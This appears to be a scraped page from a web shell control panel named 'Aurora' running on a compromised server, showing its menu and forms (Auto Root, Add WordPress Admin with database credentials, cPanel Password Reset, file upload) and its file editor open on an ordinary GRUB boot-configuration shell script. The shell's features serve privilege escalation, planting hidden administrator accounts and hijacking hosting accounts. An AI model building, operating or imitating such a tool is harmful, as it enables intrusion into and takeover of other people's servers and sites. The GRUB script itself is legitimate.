Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
sbin
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: grub2-switch-to-blscfg
#!/usr/bin/sh # # Set a default boot entry for GRUB. # Copyright (C) 2004,2009 Free Software Foundation, Inc. # # GRUB is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # GRUB is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with GRUB. If not, see <http://www.gnu.org/licenses/>. #set -eu # Initialize some variables. prefix=/usr exec_prefix=/usr sbindir=/usr/sbin bindir=/usr/bin sysconfdir="/etc" PACKAGE_NAME=GRUB PACKAGE_VERSION=2.06 datarootdir="/usr/share" datadir="/usr/share" if [ ! -v pkgdatadir ]; then pkgdatadir="${datadir}/grub" fi self=`basename $0` grub_get_kernel_settings="${sbindir}/grub2-get-kernel-settings" grub_editenv=${bindir}/grub2-editenv etcdefaultgrub=/etc/default/grub eval "$("${grub_get_kernel_settings}")" || true EFIDIR=$(grep ^ID= /etc/os-release | sed -e 's/^ID=//' -e 's/rhel/redhat/' -e 's/\"//g') if [ -d /sys/firmware/efi/efivars/ ]; then startlink=/etc/grub2-efi.cfg grubdir=`echo "/boot/efi/EFI/${EFIDIR}/" | sed 's,//*,/,g'` else startlink=/etc/grub2.cfg grubdir=`echo "/boot/grub2" | sed 's,//*,/,g'` fi blsdir=`echo "/boot/loader/entries" | sed 's,//*,/,g'` backupsuffix=.bak arch="$(uname -m)" export TEXTDOMAIN=grub export TEXTDOMAINDIR="${datarootdir}/locale" . "${pkgdatadir}/grub-mkconfig_lib" # Usage: usage # Print the usage. usage () { gettext_printf "Usage: %s\n" "$self" gettext "Switch to BLS config files.\n"; echo echo print_option_help "-h, --help" "$(gettext "print this message and exit")" print_option_help "-V, --version" "$(gettext "print the version information and exit")" echo print_option_help "--backup-suffix=$(gettext "SUFFIX")" "$backupsuffix" print_option_help "--bls-directory=$(gettext "DIR")" "$blsdir" print_option_help "--config-file=$(gettext "FILE")" "$startlink" print_option_help "--grub-defaults=$(gettext "FILE")" "$etcdefaultgrub" print_option_help "--grub-directory=$(gettext "DIR")" "$grubdir" # echo # gettext "Report bugs to <bug-grub@gnu.org>."; echo } argument () { opt=$1 shift if test $# -eq 0; then gettext_printf "%s: option requires an argument -- \`%s'\n" "$self" "$opt" 1>&2 exit 1 fi echo $1 } # Check the arguments. while test $# -gt 0 do option=$1 shift case "$option" in -h | --help) usage exit 0 ;; -V | --version) echo "$self (${PACKAGE_NAME}) ${PACKAGE_VERSION}" exit 0 ;; --backup-suffix) backupsuffix=`argument $option "$@"` shift ;; --backup-suffix=*) backupsuffix=`echo "$option" | sed 's/--backup-suffix=//'` ;; --bls-directory) blsdir=`argument $option "$@"` shift ;; --bls-directory=*) blsdir=`echo "$option" | sed 's/--bls-directory=//'` ;; --config-file) startlink=`argument $option "$@"` shift ;; --config-file=*) startlink=`echo "$option" | sed 's/--config-file=//'` ;; --grub-defaults) etcdefaultgrub=`argument $option "$@"` shift ;; --grub-defaults=*) etcdefaultgrub=`echo "$option" | sed 's/--grub-defaults=//'` ;; --grub-directory) grubdir=`argument $option "$@"` shift ;; --grub-directory=*) grubdir=`echo "$option" | sed 's/--grub-directory=//'` ;; *) gettext_printf "Unrecognized option \`%s'\n" "$option" 1>&2 usage exit 1 ;; esac done find_grub_cfg() { local candidate="" while [ -e "${candidate}" -o $# -gt 0 ] do if [ ! -e "${candidate}" ] ; then candidate="$1" shift fi if [ -L "${candidate}" ]; then candidate="$(realpath "${candidate}")" fi if [ -f "${candidate}" ]; then export GRUB_CONFIG_FILE="${candidate}" return 0 fi done return 1 } if ! find_grub_cfg ${startlink} ${grubdir}/grub.cfg ; then gettext_printf "Couldn't find config file\n" 1>&2 exit 1 fi if [ ! -d "${blsdir}" ]; then install -m 700 -d "${blsdir}" fi if [ -f /etc/machine-id ]; then MACHINE_ID=$(cat /etc/machine-id) else MACHINE_ID=$(dmesg | sha256sum) fi mkbls() { local kernelver=$1 && shift local datetime=$1 && shift local kernelopts=$1 && shift local debugname="" local debugid="" local flavor="" if [ "$kernelver" == *\+* ] ; then local flavor=-"${kernelver##*+}" if [ "${flavor}" == "-debug" ]; then local debugname=" with debugging" local debugid="-debug" fi fi ( source /etc/os-release cat <<EOF title ${NAME} (${kernelver}) ${VERSION}${debugname} version ${kernelver}${debugid} linux /vmlinuz-${kernelver} initrd /initramfs-${kernelver}.img options ${kernelopts} grub_users \$grub_users grub_arg --unrestricted grub_class kernel${flavor} EOF ) | cat } copy_bls() { for kernelver in $(cd /lib/modules/ ; ls -1) "" ; do bls_target="${blsdir}/${MACHINE_ID}-${kernelver}.conf" linux="/vmlinuz-${kernelver}" linux_path="/boot${linux}" kernel_dir="/lib/modules/${kernelver}" if [ ! -d "${kernel_dir}" ] ; then continue fi if [ ! -f "${linux_path}" ]; then continue fi linux_relpath="$("${grub_mkrelpath}" "${linux_path}")" bootprefix="${linux_relpath%%"${linux}"}" cmdline="root=${LINUX_ROOT_DEVICE} ro ${GRUB_CMDLINE_LINUX} ${GRUB_CMDLINE_LINUX_DEFAULT}" mkbls "${kernelver}" \ "$(date -u +%Y%m%d%H%M%S -d "$(stat -c '%y' "${kernel_dir}")")" \ "${bootprefix}" "${cmdline}" >"${bls_target}" if [ "x$GRUB_LINUX_MAKE_DEBUG" = "xtrue" ]; then bls_debug="$(echo ${bls_target} | sed -e "s/${kernelver}/${kernelver}~debug/")" cp -aT "${bls_target}" "${bls_debug}" title="$(grep '^title[ \t]' "${bls_debug}" | sed -e 's/^title[ \t]*//')" options="$(echo "${cmdline} ${GRUB_CMDLINE_LINUX_DEBUG}" | sed -e 's/\//\\\//g')" sed -i -e "s/^title.*/title ${title}${GRUB_LINUX_DEBUG_TITLE_POSTFIX}/" "${bls_debug}" sed -i -e "s/^options.*/options ${options}/" "${bls_debug}" fi done if [ -f "/boot/vmlinuz-0-rescue-${MACHINE_ID}" ]; then mkbls "0-rescue-${MACHINE_ID}" "0" "${bootprefix}" >"${blsdir}/${MACHINE_ID}-0-rescue.conf" fi } # The grub2 EFI binary is not copied to the ESP as a part of an ostree # transaction. Make sure a grub2 version with BLS support is installed # but only do this if the blsdir is not set, to make sure that the BLS # parsing module will search for the BLS snippets in the default path. if test -f /run/ostree-booted && test -d /sys/firmware/efi/efivars && \ ! ${grub_editenv} - list | grep -q blsdir && \ mountpoint -q /boot; then grub_binary="$(find /usr/lib/ostree-boot/efi/EFI/${EFIDIR}/ -name grub*.efi)" install -m 700 ${grub_binary} ${grubdir} || exit 1 # Create a hidden file to indicate that grub2 now has BLS support. touch /boot/grub2/.grub2-blscfg-supported fi GENERATE=0 if grep '^GRUB_ENABLE_BLSCFG=.*' "${etcdefaultgrub}" \ | grep -vq '^GRUB_ENABLE_BLSCFG="*true"*\s*$' ; then if ! sed -i"${backupsuffix}" \ -e 's,^GRUB_ENABLE_BLSCFG=.*,GRUB_ENABLE_BLSCFG=true,' \ "${etcdefaultgrub}" ; then gettext_printf "Updating %s failed\n" "${etcdefaultgrub}" exit 1 fi GENERATE=1 elif ! grep -q '^GRUB_ENABLE_BLSCFG=.*' "${etcdefaultgrub}" ; then if ! echo 'GRUB_ENABLE_BLSCFG=true' >> "${etcdefaultgrub}" ; then gettext_printf "Updating %s failed\n" "${etcdefaultgrub}" exit 1 fi GENERATE=1 fi if [ "${GENERATE}" -eq 1 ] ; then copy_bls if [ $arch = "x86_64" ] && [ ! -d /sys/firmware/efi ]; then mod_dir="i386-pc" elif [ $arch = "ppc64" -o $arch = "ppc64le" ] && [ ! -d /sys/firmware/opal ]; then mod_dir="powerpc-ieee1275" fi if [ -n "${mod_dir}" ]; then for mod in blscfg increment; do install -m 700 ${prefix}/lib/grub/${mod_dir}/${mod}.mod ${grubdir}/$mod_dir/ || exit 1 done fi cp -af "${GRUB_CONFIG_FILE}" "${GRUB_CONFIG_FILE}${backupsuffix}" if ! grub2-mkconfig -o "${GRUB_CONFIG_FILE}" ; then install -m 700 "${GRUB_CONFIG_FILE}${backupsuffix}" "${GRUB_CONFIG_FILE}" sed -i"${backupsuffix}" \ -e 's,^GRUB_ENABLE_BLSCFG=.*,GRUB_ENABLE_BLSCFG=false,' \ "${etcdefaultgrub}" gettext_printf "Updating %s failed\n" "${GRUB_CONFIG_FILE}" exit 1 fi fi # Bye. exit 0